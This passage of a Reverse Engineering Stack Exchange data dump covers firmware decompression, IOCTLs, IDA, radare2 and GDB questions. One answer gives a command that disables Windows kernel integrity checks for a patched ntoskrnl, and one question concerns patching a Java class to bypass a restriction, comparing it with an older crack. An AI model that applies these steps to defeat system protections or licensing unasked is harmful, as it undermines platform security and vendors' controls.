        "Body": "<p>I want to analyze an embedded firmware (car's ecu). My problem is, the file is compressed.</p>\n\n<p>The firmware comes with a description xml file, which states that it is divided into sections and that those sections are individually compressed, using the NRV algorithm.</p>\n\n<p>I did some searching, and none of the usual suspects (magic strings) are in the firmware.</p>\n\n<p>The program that actually flashes the firmware over CAN is written in Java, so I tried decompiling it. That worked, but there are just definitions of functions, there is no flow, who the program is running, which values are passed to the functions, etc.</p>\n\n<p>If it were usual assembler code, I'd just attach a debugger to the running program and had a look at the calls. But I do not know if this is possible in Java.</p>\n\n<p>So my question is, how would I start to decompress the firmware?</p>\n\n<p>I uploaded both firmware and respective xml, maybe some can nudge me in the right direction.</p>\n\n<p><a href=\"https://mega.nz/#!bctSTB5S!ZYKN48DgJYQnOU1yMkIEcpheoYFG0wgtTrZqNfxtwE4\" rel=\"nofollow noreferrer\">https://mega.nz/#!bctSTB5S!ZYKN48DgJYQnOU1yMkIEcpheoYFG0wgtTrZqNfxtwE4</a></p>\n\n<p>There are a lot of those NRV compressed files, for various ecus with different processors and architectures. So the decompression has to take place on the computer that flashes the firmware.</p>\n",
        "Title": "Extracting compressed firmware (NRV) for analysis",
        "Tags": "|unpacking|",
        "Answer": "<p>NRV is a compressor-decompressor, highly optimized for size and speed, by Markus F.X.J. Oberhumer (www.oberhumer.com). Fortunately, it is available in an Open Source version, downloadable at his site <a href=\"http://www.oberhumer.com/opensource/ucl/#download\" rel=\"noreferrer\">http://www.oberhumer.com/opensource/ucl/#download</a>. It comes in several flavors, the one I have been using is called UCL1.03.</p>\n\n<p>With this software and your xml description file, I was able to decompress your binary. I did it in the following way:</p>\n\n<ol>\n<li>Build an executable from the provided sources (in my download, there was no binary). There is a bat file for various platforms, the one for Windows is called vc.bat. However, it did not work for me, presumably because my environment vars are not set in the proper way for the bat to run. Therefore I made a VStudio solution (VS2013, VS2015 gave some errors), which produced an exe being able to read and decompress the file.\nThis VS project contains the following files (all from the download):\n\n<ul>\n<li>All .c files from the \"src\" direcory</li>\n<li>The file uclpack.c, residing in the \"examples\" directory, and containing the \"main\".</li>\n<li>The necessary header files, they are all in the \"include\" or in the \"examples\" directories.</li>\n</ul></li>\n</ol>\n\n<p>In the Project Settings make sure that the include directory is set correctly (as usual in VS).</p>\n\n<ol start=\"2\">\n<li>Add the correct header to your binary file.</li>\n</ol>\n\n<p>The header consists of the following parts:\n<a href=\"https://i.stack.imgur.com/rIhuv.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/rIhuv.png\" alt=\"enter image description here\"></a></p>\n\n<ul>\n<li>\"Magic\" Prefix: see picture</li>\n<li>Flags: Mostly unclear, LSByte controls the generation of a CRC-32 (different from the one in your xml file).</li>\n<li>Decompression Method: 2B, 2D, 2E are available, only 2B works with your file.</li>\n<li>Level: Unclear, but must not be zero.</li>\n<li>Block Size: Memory for the decompressor. Must have at least the size of the uncompressed block.</li>\n<li>Uncompressed Size: As read from your xml file</li>\n<li>Compressed Size:As read from your xml file.</li>\n</ul>\n\n<p>All numbers in the header are Big-Endian (i.e. MSB first).\nPlease note that the software expects a header after each compression block, thus it is best to split your file into three separate files. Only the first one is of some interest, the other two contain only a constant.\nThe contents of the header could easily be found by stepping through the program. The decompressor returns with 0 in the error-free case.</p>\n\n<p>For your comparison, here is a string present in the decompressed file, at file offset 0x6a56:</p>\n\n<pre><code>Incomming message not handled\n</code></pre>\n"
    },
    {
        "Id": "18381",
        "CreationDate": "2018-05-27T23:59:23.047",
        "Body": "<p>While reverse engineering a windows executable I found the <code>DeviceIoControl</code> function, and i'm trying to figure out the correct inputs so it does not return a zero, it get's the <code>[ebp+hDevice]</code> from the return of the <code>CreateFileA</code> function, the <code>[ebp+buffer]</code> address stores a value that was read earlier from the input, it's the only variable that I have control over\n<a href=\"https://i.stack.imgur.com/95R24.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/95R24.png\" alt=\"enter image description here\"></a></p>\n\n<p>can anyone explain what the <code>DeviceIoControl</code> function works, and how can I get it to return something eles than 0, \nthank you!!</p>\n",
        "Title": "Reversing: DeviceIoControl return value",
        "Tags": "|ida|assembly|function-hooking|",
        "Answer": "<p>Why would you want to reverse engineer <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa363216.aspx\" rel=\"nofollow noreferrer\">a well-documented function</a>? The underlying mechanism, IOCTLs, are explained as part of <a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes\" rel=\"nofollow noreferrer\">the documentation</a> for device drivers. Even the native function underlying the Win32 function <code>DeviceIoControl</code> <a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-ntdeviceiocontrolfile\" rel=\"nofollow noreferrer\">is documented</a>.</p>\n\n<p>To find out what a particular IOCTL code means (the <code>224CDCh</code> in your case), use one of the following methods:</p>\n\n<ol>\n<li><a href=\"https://www.osronline.com/article.cfm?article=229\" rel=\"nofollow noreferrer\">OSR IOCTL decoder</a></li>\n<li><a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-ioctldecode\" rel=\"nofollow noreferrer\"><code>!ioctldecode</code> in WinDbg</a></li>\n<li><a href=\"http://www.ioctls.net/\" rel=\"nofollow noreferrer\">IOCTL reference list</a> (your particular code isn't here, so apparently it's not a standard one)</li>\n</ol>\n\n<p>The first one yields this:<a href=\"https://i.stack.imgur.com/wJ9LD.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wJ9LD.png\" alt=\"OSR IOCTL decoder in action for code 0x224CDC\"></a></p>\n\n<p>Now, frankly, you provide waaaay too litte information to provide more help. But it stands to reason that in order to find out what valid inputs the underlying device driver expects, you should find out the driver to which the device object (the one you opened with <code>CreateFileA</code>) belongs and then reverse engineer that. To find out, you can use a tool such as <a href=\"https://docs.microsoft.com/en-us/sysinternals/downloads/winobj\" rel=\"nofollow noreferrer\">WinObj</a> or similar. Because that driver is the place where the IRP (I/O Request Packet), which will be built internally by <code>ZwDeviceIoControlFile</code>, ends up.</p>\n\n<p><strong>Edit:</strong> I just wanted to add the suggestion to have a look at the very latest WDK headers at all times. The tools mentioned above may not always be up-to-date. But in this particular case, from experience, I'd say it's a custom IOCTL.</p>\n"
    },
    {
        "Id": "18382",
        "CreationDate": "2018-05-28T00:26:23.810",
        "Body": "<p>I'm currently working through a series of CTF forensics challenge and have run into a file format that I am dead-ending on. The format has no recognizable File Magic Number - and the file itself is filled with odd repetitive sequences of text like:</p>\n\n<pre><code>Enter/Down/Down/Enter/Down/Down/Down/Enter/Down/Down/Down/readme.txtAnd the path, to you, remains clear.\n</code></pre>\n\n<p>Any suggestions for avenues of research? </p>\n",
        "Title": "Trying to identify a file format for CTF forensics challenge",
        "Tags": "|file-format|digital-forensics|",
        "Answer": "<p>Returning to this challenge after a bit, and Pawe\u0142 \u0141ukasik's comment turned out to be key. The presence of repeated <code>PK</code> sequences was the clue that this was actually a ZIP file. Ran <code>unzip</code> on the file - which turned out to be a somewhat corrupt ZIP. The file expanded to a huge stack of nested directories named Up, Right, Etc - and in one of those directories was the flag. Thanks again Pawe\u0142 for the key clue!   </p>\n"
    },
    {
        "Id": "18384",
        "CreationDate": "2018-05-28T02:26:05.250",
        "Body": "<p><strong>I had hex-edited windows kernel</strong> file <code>c:\\windows\\system32\\ntoskrnl.exe</code> to fix some assembly bytes in the way i need it.</p>\n\n<p><strong>System wont boot</strong> because of <strong><code>STATUS_IMAGE_CHECKSUM_MISMATCH</code></strong> error (0xC0000221; restore screen on boot)</p>\n\n<p>But i need to boot edited version anyway. <strong>How to disable</strong> that kind of <strong>integrity check?</strong></p>\n",
        "Title": "ntoskrnl checksum mismatch",
        "Tags": "|windows|kernel|windows-10|",
        "Answer": "<p>You don't disable that kind of integrity check, you simply <strong>set the checksum</strong>. The one that's relevant in this particular case is the respective field in the <code>IMAGE_OPTIONAL_HEADER</code>, that is <code>IMAGE_OPTIONAL_HEADER::CheckSum</code>.</p>\n\n<p>That said, you will likely run into additional issues once you resolved this one. I am not sure if the kernel itself is subject to <a href=\"https://github.com/Microsoft/Windows-driver-samples/tree/master/security/elam\" rel=\"nofollow noreferrer\">Early Launch scans</a>, but I reckon there's a reason why these binaries are also code-signed. So at the very least you may want to disable the integrity checks altogether from an elevated prompt: <code>bcdedit.exe /set nointegritychecks on</code> (make sure to reboot afterwards). Another point to consider is UEFI with enabled Secure Boot. In this case the Windows boot manager will somehow check the images it's asked to load. But since details are missing, it's not clear if this might be the cause of the issue.</p>\n\n<p>Various functions can be used to compute a checksum for a PE file. The probably easiest method is using the Image Help Library function <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms680355.aspx\" rel=\"nofollow noreferrer\"><code>MapFileAndCheckSum()</code></a> or alternatively (<a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms679281.aspx\" rel=\"nofollow noreferrer\"><code>CheckSumMappedFile()</code></a>). If I remember correctly there are a few more, including one <code>Ldr*</code> function from <code>ntdll.dll</code> which can be used to that end.</p>\n"
    },
    {
        "Id": "18407",
        "CreationDate": "2018-05-30T04:08:56.297",
        "Body": "<p>Is there a way to view the keybinidngs inside of Radare? Such that I can see which function keys do things like Step Over and Step Into in Debug mode?</p>\n\n<p><code>e~key</code> doesn't list any of the debug keys,</p>\n\n<pre><code>key.S = \nkey.f1 = \nkey.f10 = \nkey.f11 = \nkey.f12 = \nkey.f2 = \nkey.f3 = \nkey.f4 = \nkey.f5 = \nkey.f6 = \nkey.f7 = \nkey.f8 = \nkey.f9 = \nkey.s = \n</code></pre>\n",
        "Title": "Viewing Radare keybindings for Visual Pane mode (Function hotkeys)?",
        "Tags": "|radare2|",
        "Answer": "<p>Those are probably used if you remap the default ones. \nAnd those are visible when you press <code>?</code> in <code>V</code>isual mode, but not in Visual Pane mode (<code>V!</code>). Scrolling down will show the keys for debugging:</p>\n\n<pre><code>Function Keys: (See 'e key.'), defaults to:\n  F2      toggle breakpoint\n  F4      run to cursor\n  F7      single step\n  F8      step over\n  F9      continue\n</code></pre>\n"
    },
    {
        "Id": "18409",
        "CreationDate": "2018-05-31T01:22:06.067",
        "Body": "<p>More specifically, could you get low level code from a rom, and piece it together and translate it to a higher level language?</p>\n",
        "Title": "Would it be possible to reverse engineer a game's rom file to get source code?",
        "Tags": "|disassembly|decompilation|rom|",
        "Answer": "<p>The <strong>source</strong> code is discarded completely by the compiler/assembler and is not present anywhere in the rom (except by accident).</p>\n\n<p>However, you <em>can</em> convert the low-level machine code to a high level language. This process is called <em>decompilation</em>, and while it can be tedious and difficult, it is possible to come up with high-level code which has the same functionality as the binary code. Note that this won\u2019t get you <em>source</em> code, merely <em>equivalent code</em>. For example, information like function or variable names is not necessary for the CPU so is discarded completely unless you elect to produce debug information, which rarely happens in released games. </p>\n\n<p>On difficulties of machine code decompilation, see <a href=\"https://reverseengineering.stackexchange.com/questions/311/why-are-machine-code-decompilers-less-capable-than-for-example-those-for-the-clr\">Why are machine code decompilers less capable than for example those for the CLR and JVM?</a></p>\n"
    },
    {
        "Id": "18412",
        "CreationDate": "2018-05-31T08:33:30.673",
        "Body": "<p>I'm a beginner in reverse engineering, and as a beginner I started to read <a href=\"https://beginners.re/\" rel=\"nofollow noreferrer\">\"Reverse Engineering for beginers\"</a>.<br>\nHere is the hello world program from the book (taken from chapter 3, page 12) :</p>\n\n<blockquote>\n  <p>Now let\u2019s try to compile the same C/C++ code in the GCC 4.4.1 compiler in Linux:\n  gcc 1.c -o 1 Next, with the assistance of the IDA disassembler, let\u2019s see how\n  the main() function was created. IDA, like MSVC, uses Intel-syntax5.</p>\n</blockquote>\n\n<pre><code>main proc near\n\nvar_10 = dword ptr -10h\n\n     push ebp\n     mov ebp, esp\n     and esp, 0FFFFFFF0h\n     sub esp, 10h\n     mov eax, offset aHelloWorld ; \"hello, world\\n\"\n     mov [esp+10h+var_10], eax\n     call _printf\n     mov eax, 0\n     leave\n     retn\nmain endp\n</code></pre>\n\n<p>There are two lines I don't understand at all : </p>\n\n<ul>\n<li><code>and esp, 0FFFFFFF0h</code></li>\n<li><code>sub esp, 10h</code></li>\n</ul>\n\n<p>From what I understood from the book, we add <code>0FFFFFFF0h</code> (equals -16) value to ESP in order to align the stack to a 16byte boundary for optimisation.\n<br>\nMy question is : why do we add -16 and then substract 16 to the stack? It seems pointless to me, can't we substract directly 32?\nSecond, if I'm understanding well:</p>\n\n<ul>\n<li>the program starts with EBP = ESP, because nothing is on the stack. </li>\n<li>Then EBP is pushed to the stack. Assuming the program is 64bit, ESP is now EBP - 8 (because of the 64bits). So now we have ESP != EBP.</li>\n<li>Then we copy the content of ESP into EBP. So we have EBP = ESP, and EBP = fristEBP (EBP when the program started) - 8. </li>\n</ul>\n\n<p>Why do we need to modify the value of EBP? <a href=\"https://stackoverflow.com/questions/4584089/what-is-the-function-of-the-push-pop-instructions-used-on-registers-in-x86-ass\">PUSH instruction is supposed to change the value of ESP</a>, not EBP, so why would there be any problem not modifying EBP value at the function prolog?</p>\n\n<p><br><br>\nSo now we have EBP = ESP, and both are fristEBP (EBP when the program started) - 8. So now we are adding -16 to the stack, so ESP becomes ESP - 16 (ESP - 24 if we consider that we've been adding -8 to the stack). <br>\nWhat is -24 have to do with a 16byte boundary?\nWhy do we substract 16 again from the stack with <code>sub esp, 10h</code>?</p>\n\n<p><br>\nNotes : I'm sorry for the english, and sorry if I'm asking dumb questions, the book isn't clear enought and I failed to find explainations on the net.</p>\n",
        "Title": "Basic hello world stack manipulation troubles",
        "Tags": "|c|static-analysis|stack|gcc|intel|",
        "Answer": "<p>It's not <code>add</code> in the first opcode. It's <code>and</code>. So it will clear the lower nibble for the last byte in the address. This is how the alignment is done and not by adding anything. Only later you <code>sub</code> 16 to have room for the local variables.</p>\n\n<blockquote>\n  <p>Why do we need to modify the value of EBP?</p>\n</blockquote>\n\n<p>We use <code>EBP</code> to store the initial <code>ESP</code> value. <code>EBP</code> is pointing to the current stack frame. This is the place for local variables created withing the function. Before we modify <code>EBP</code> it is stored on the stack so that we can restore it before we leave the function.</p>\n"
    },
    {
        "Id": "18417",
        "CreationDate": "2018-06-01T08:21:33.137",
        "Body": "<p>Is it possible to obtain a node and edge count for the IDA Pro graph overview? I'm able to obtain this if I generate a wingraph32 flowchart, but it seems that wingraph32 doesn't work for very large functions. Is there also a way for wingraph32 to support very large graphs?</p>\n\n<p>Thanks.</p>\n",
        "Title": "Counting number of nodes and edges in IDA Pro graph",
        "Tags": "|ida|control-flow-graph|",
        "Answer": "<p>If you want to get a node and edge count for a function's graph in IDA, you can calculate it with the given IDAPython code:</p>\n\n<pre><code>func = idaapi.get_func(here())\ng = idaapi.FlowChart(func)\n\nnodes = 0\nedges = 0\nfor x in g:\n  nodes += 1\n  for succ in x.succs():\n    edges += 1\n\n  for pred in x.preds():\n    edges += 1\n\nprint \"Number of nodes\", nodes\nprint \"Number of edges\", edges\n</code></pre>\n\n<p>As for the wingraph32 tool, I recommend you to use the \"Proximity Viewer\" instead. Just press the key \"-\" when the cursor is inside a function.</p>\n"
    },
    {
        "Id": "18423",
        "CreationDate": "2018-06-02T03:49:45.387",
        "Body": "<p>When I place my cursor on an instruction (on the address, opcode or operand) in the IDA-view, and switch immediately to HEX-view, I expected the hex bytes corresponding to the instructions to be selected. However, IDA 7.0.171130 (x86_64) is not behaving as expected.</p>\n\n<p>As an example, I have selected the address <code>0x8000328</code> in the IDA view (the cursor is not visible in the screenshot) which is a <code>mov</code> instruction. However, the HEX-view shows <code>E8 D9 04 00 00</code> highlighted with the cursor on it; which is a <code>call</code> instruction.</p>\n\n<p><a href=\"https://i.stack.imgur.com/IjAig.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/IjAig.png\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/uts7n.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/uts7n.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "How can I fix the problem of IDA view and corresponding HEX view not being in sync?",
        "Tags": "|ida|",
        "Answer": "<p>Did you validate that your Hex-View is Synchronized with the IDA View?</p>\n\n<p>In order to do this, go to the Hex View tab, Right Click anywhere in the view and choose \"<strong>Synchronize With > IDA View</strong>\":</p>\n\n<p><a href=\"https://i.stack.imgur.com/37rj4.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/37rj4.png\" alt=\"enter image description here\"></a></p>\n\n<p>This works fine for me in version 7.0.1709</p>\n"
    },
    {
        "Id": "18428",
        "CreationDate": "2018-06-02T20:59:02.330",
        "Body": "<p>GDB has a <code>x/i</code> command (and also <code>disassemble</code>) which allows to view the instructions at a given address.</p>\n\n<p>How can we do the reverse \u2013 assemble an instruction and write to a given address?</p>\n",
        "Title": "How to assemble and inject an instruction with GDB?",
        "Tags": "|assembly|gdb|",
        "Answer": "<p><strong><code>compile code</code> command</strong></p>\n\n<p>Introduced around 7.9, it allows code compilation and injection at the current location, documentation: <a href=\"https://sourceware.org/gdb/onlinedocs/gdb/Compiling-and-Injecting-Code.html\" rel=\"nofollow noreferrer\">https://sourceware.org/gdb/onlinedocs/gdb/Compiling-and-Injecting-Code.html</a></p>\n\n<p>I have given a minimal runnable example at: <a href=\"https://stackoverflow.com/questions/5480868/how-to-call-assembly-in-gdb/31709579#31709579\">https://stackoverflow.com/questions/5480868/how-to-call-assembly-in-gdb/31709579#31709579</a></p>\n\n<p>I can't find out how to inject at a specific location, but if you are serious about this, patching this feature in extending <code>compile code</code> functionality might be the way to go.</p>\n"
    },
    {
        "Id": "18433",
        "CreationDate": "2018-06-03T12:06:05.030",
        "Body": "<p>Let's say I have this program:</p>\n\n<pre><code>struct A {\n    int x;\n};\n\nstruct A func1(int z) {\n    struct A result;\n    result.x = z+1;\n    return result;\n}\n\nint main() {\n    return func1(1).x;\n}\n</code></pre>\n\n<p>When compiling this on linux with <code>gcc -m32 -fno-stack-protector</code> the result of func1 will be returned as a stack pointer. Can I somehow set the type of func1 using __return_ptr so IDA understands this calling convention? I thought that would be the purpose of __return_ptr, if not what does it do?</p>\n",
        "Title": "What does __return_ptr do in IDA?",
        "Tags": "|ida|x86|gcc|calling-conventions|",
        "Answer": "<p>The \"problem\" with your example is that the structure is too small (four bytes), so it fits in a register and is not actually passed on the stack. From <a href=\"https://itanium-cxx-abi.github.io/cxx-abi/abi.html#non-trivial\" rel=\"nofollow noreferrer\">the Itanium C++ ABI</a> (used by most GCC implementations):</p>\n\n<blockquote>\n  <p>A type is considered non-trivial for the purposes of calls if: </p>\n  \n  <ul>\n  <li>it has a non-trivial copy constructor, move constructor, or destructor, or </li>\n  <li>all of its copy and move constructors are deleted. </li>\n  </ul>\n  \n  <p>This definition, as applied to class types, is intended to be the\n  complement of the definition in [class.temporary]p3 of types for which\n  an extra temporary is allowed when passing or returning a type. <strong>A\n  type which is trivial for the purposes of the ABI will be passed and\n  returned according to the rules of the underlying C ABI, e.g. in\n  registers</strong>; often this has the effect of performing a trivial copy of\n  the type.</p>\n</blockquote>\n\n<p>(emphasis mine).</p>\n\n<p>Since your struct is <em>trivial</em> and fits completely into the return register (<code>eax</code>), it is not passed on the stack but returned directly in <code>eax</code>. So there is no need for anything special here. However, if you make it a little bigger, e.g.:</p>\n\n<pre><code>struct A {\n    int x;\n    int y;\n    int z;\n};\n</code></pre>\n\n<p>Then it no longer fits and has to be passed on the stack. \nIf you add the struct to Local Types and specify the C++ prototype for the function (<code>struct A func1(int z)</code>), then IDA performs type lowering and converts it to a C-style prototype with explicit argument locations:</p>\n\n<p><code>struct A *__cdecl func1(struct A *__return_ptr __struct_ptr retstr, int z)</code> </p>\n\n<p>It seems currently <code>__return_ptr</code> is not used by IDA or decompiler and is just an annotation for the user, but in theory it could be used to make the decompiled code closer to the original C++ syntax.</p>\n"
    },
    {
        "Id": "18434",
        "CreationDate": "2018-06-03T12:29:32.940",
        "Body": "<p>I was trying to patch an application, but the application is required to exact same class size as the original one but editing class file with JByteMod, Recaf or whatsoever always changes the class file size. Is it possible to patch class file without changing its size? I have one older patch which I got from Internet &amp; its have the exact same thing.</p>\n\n<p>I was trying to patch the application by putting static byte array instead of the private static byte (to bypass some restriction).</p>\n\n<p>How can I do this without changing the size of the class file?\nThe jar file is required Java 9.0.4 to run &amp; I have tried <a href=\"https://i.stack.imgur.com/ZnyyK.jpg\" rel=\"nofollow noreferrer\">JBE bytecode deitor</a>: <a href=\"http://set.ee/jbe/\" rel=\"nofollow noreferrer\">http://set.ee/jbe/</a> but it was not able to open the class file.</p>\n\n<p><a href=\"https://i.stack.imgur.com/ZnyyK.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ZnyyK.jpg\" alt=\"The older version crack &amp; original file comparison\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/0pc6o.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/0pc6o.jpg\" alt=\"Unmodified private bytes\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/ca0pz.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ca0pz.jpg\" alt=\"Want to change to array byte like this\"></a></p>\n",
        "Title": "Patching a class file inside Jar using bytecode",
        "Tags": "|java|patching|patch-reversing|byte-code|",
        "Answer": "<p>Depending on your use case and how you are running your jar file, if you can run the file you may want to create a java agent that hooks into your JVM (<code>java -jar -javaagent:YourAgent.jar Target.jar</code>) and you could use <a href=\"http://asm.ow2.io/asm4-guide.pdf\" rel=\"nofollow noreferrer\">ASM</a> or <a href=\"http://jboss-javassist.github.io/javassist/tutorial/tutorial.html\" rel=\"nofollow noreferrer\">Javassist</a> libraries to alter the byte code at runtime.</p>\n\n<p>For adding a field or altering it in ASM you could override your <code>visitField</code> or <code>visitMethod</code> functions in your transformer class that inherits from <code>ClassVisitor</code>.  In the <code>visitField</code> method you could create a new field or alter the values of the variables without modifying the actual class files.</p>\n"
    },
    {
        "Id": "18437",
        "CreationDate": "2018-06-03T19:14:41.613",
        "Body": "<p>I am dabbling with a <strong>XE3 Delphi</strong> application in <strong>IDA 7.0</strong>, and can't get <em>Strings</em> representation to work correctly:</p>\n<hr />\n<blockquote>\n<p>While selecting <em>Delphi (16 bits)</em> in the <strong>Strings Window</strong> yield correct results:</p>\n<p><a href=\"https://i.stack.imgur.com/8C2dx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8C2dx.png\" alt=\"IDA 7 Strings Window, Delphi 16 bits\" /></a></p>\n</blockquote>\n<hr />\n<blockquote>\n<p><em>References</em> to Strings in the <strong>Disassembly view</strong> are <strong>failing</strong>.</p>\n<ul>\n<li>Below is the string definition at <code>.text:008717DC</code>:</li>\n</ul>\n<p><a href=\"https://i.stack.imgur.com/IiCf7.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/IiCf7.png\" alt=\"enter image description here\" /></a></p>\n<ul>\n<li>Below is a (failing) reference to it:</li>\n</ul>\n<p><a href=\"https://i.stack.imgur.com/z6tAh.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/z6tAh.png\" alt=\"enter image description here\" /></a></p>\n</blockquote>\n<hr />\n<blockquote>\n<p>Trying to change the <strong>String type</strong> to <em>Delphi (16 bits)</em> fails with <code>Command &quot;SetStrlitStyle&quot; failed</code></p>\n<p><a href=\"https://i.stack.imgur.com/egM07.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/egM07.png\" alt=\"enter image description here\" /></a></p>\n</blockquote>\n<hr />\n<blockquote>\n<p>Oddly, not all strings are misreferenced:</p>\n<p><a href=\"https://i.stack.imgur.com/6RP0D.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6RP0D.png\" alt=\"enter image description here\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/MTdyv.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/MTdyv.png\" alt=\"enter image description here\" /></a></p>\n</blockquote>\n<hr />\n<blockquote>\n<p>For the record, <a href=\"https://github.com/crypto2011/IDR\" rel=\"nofollow noreferrer\">IDR</a> (Interactive Delphi Reconstructor) yields correct representations:</p>\n<p><a href=\"https://i.stack.imgur.com/7Erx6.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7Erx6.png\" alt=\"enter image description here\" /></a></p>\n</blockquote>\n<hr />\n<blockquote>\n<p>I have set the <strong>Default</strong> <em>String type</em> to <em>Delphi (16 bits)</em> in Options:</p>\n<p><a href=\"https://i.stack.imgur.com/AqgVu.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/AqgVu.png\" alt=\"enter image description here\" /></a></p>\n</blockquote>\n<hr />\n<blockquote>\n<p>Here are the <strong>Compiler Options</strong>:</p>\n<p><a href=\"https://i.stack.imgur.com/rn6FI.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/rn6FI.png\" alt=\"enter image description here\" /></a></p>\n</blockquote>\n<hr />\n<p><strong>All help welcome, thanks !</strong></p>\n",
        "Title": "IDA 7 does not recognize/reference Delphi 16bits Strings correctly",
        "Tags": "|ida|strings|delphi|",
        "Answer": "<p>It's not only Delphi problem, it's a generic unicode detection problem of IDA.\nI can't be sure how exactly it works, but I feel like IDA has an issue, when detecting the data type. And it's related to the priority of address representation over string literal. I.e. when it finds some instruction, which references the address, it tries to determine what data is situated at this address. In your case it found mov eax, offset 8717E0, it read 4 bytes at address 8717E0. It got 0x6F0053, it made a check does 0x6F0053 look like an address? Yes, in current database it's a valid address. Then screw all further detection let's make data at 8717E0 offset to loc_6F0053. If there was no such address 0x6F0053, it would go into further analysis and in the end came to the conclusion, that it's a unicode string.</p>\n\n<p>So to fix this, you need to hook the analysis in the process module, and do your own type detection. It can't be solved by any of IDA settings.</p>\n"
    },
    {
        "Id": "18439",
        "CreationDate": "2018-06-03T20:14:08.190",
        "Body": "<p>I have been fascinated by reverse engineering after making several emulators and  finding the <a href=\"https://github.com/pret\" rel=\"nofollow noreferrer\">pret</a> community. I love the idea behind decompiling old games and recreating source code that recompiles into a matching file. </p>\n\n<p>I recently found an old game that was hosted by Cartoon Network that I must have played around ~2001. I downloaded the source file and it is 514 Kb file with a <code>.dcr</code> extension.</p>\n\n<p>If this is anything like any other computer program, this file should store all of the games logic, images/sound, etc. that is interpreted by the Adobe Shockwave VM.</p>\n\n<p>Is it a feasible task to reverse engineer and extract data/code from a compiled <code>.dcr</code> file, or is this technology too outdated and proprietary to try and reverse engineer and test? Apparently the <code>.dcr</code> file is generated by the \"Director\" application. Does this mean that if I wanted to RE this game, I would have to find the exact Director version they used when creating the game so it compiles into the same bytecode? Is this too complex of a project for a single person?</p>\n",
        "Title": "What are the steps to reverse engineering a Shockwave .DCR file?",
        "Tags": "|binary-analysis|decompilation|virtual-machines|binary-diagnosis|",
        "Answer": "<p>There's a lot to Google on the topic, so take some time to do that and learn about what the *.dcr format is. A great initial point of reference for you is <a href=\"https://zenhax.com/viewtopic.php?t=252\" rel=\"noreferrer\">this post on the ZenHAX forum</a>, where a script or two have been created for use with their program, <a href=\"http://aluigi.altervista.org/quickbms.htm\" rel=\"noreferrer\">QuickBMS</a>. That won't teach you how to reverse the format, but if you spend some time reading <a href=\"https://www.vg-resource.com/thread-28180.html\" rel=\"noreferrer\">what QuickBMS scripts are comprised of</a>, you'll end up travelling down the path of reversing file formats using archives themselves as the sample.</p>\n\n<p>I actually worked on reversing a Director application not too terribly long ago. I made notes and documented what I'd found at the time <a href=\"https://www.betaarchive.com/forum/viewtopic.php?p=428167#p428167\" rel=\"noreferrer\">here</a> and <a href=\"https://www.betaarchive.com/forum/viewtopic.php?p=428500#p428500\" rel=\"noreferrer\">here</a>, so those may be useful for ancillary points in regards to your studying.</p>\n\n<p>Finally, you'd probably be best suited to inquire around both the <a href=\"https://zenhax.com/\" rel=\"noreferrer\">ZenHAX</a> and <a href=\"http://forum.xentax.com/\" rel=\"noreferrer\">XeNTaX</a> forums, since they both primarily focus on reversing file formats. That should all get you started quite nicely in the direction you're interested in heading. =)</p>\n"
    },
    {
        "Id": "18441",
        "CreationDate": "2018-06-04T05:35:43.863",
        "Body": "<p>Currently, I'm generating a bunch of <code>.idb</code> files in a batch via <code>idaw.exe -B &lt;FILE&gt;</code>. (I'm using IDA Pro 6.8.) This process also creates many <code>.asm</code> files - one for each <code>.idb</code> file created. I don't need these files, so they just get ignored/deleted.</p>\n\n<p>Is there a way to generate <code>.idb</code> files from the command line without also generating the <code>.asm</code> files?</p>\n",
        "Title": "IDA Pro: Is there a command-line way to generate idb files without generating asm files?",
        "Tags": "|ida|",
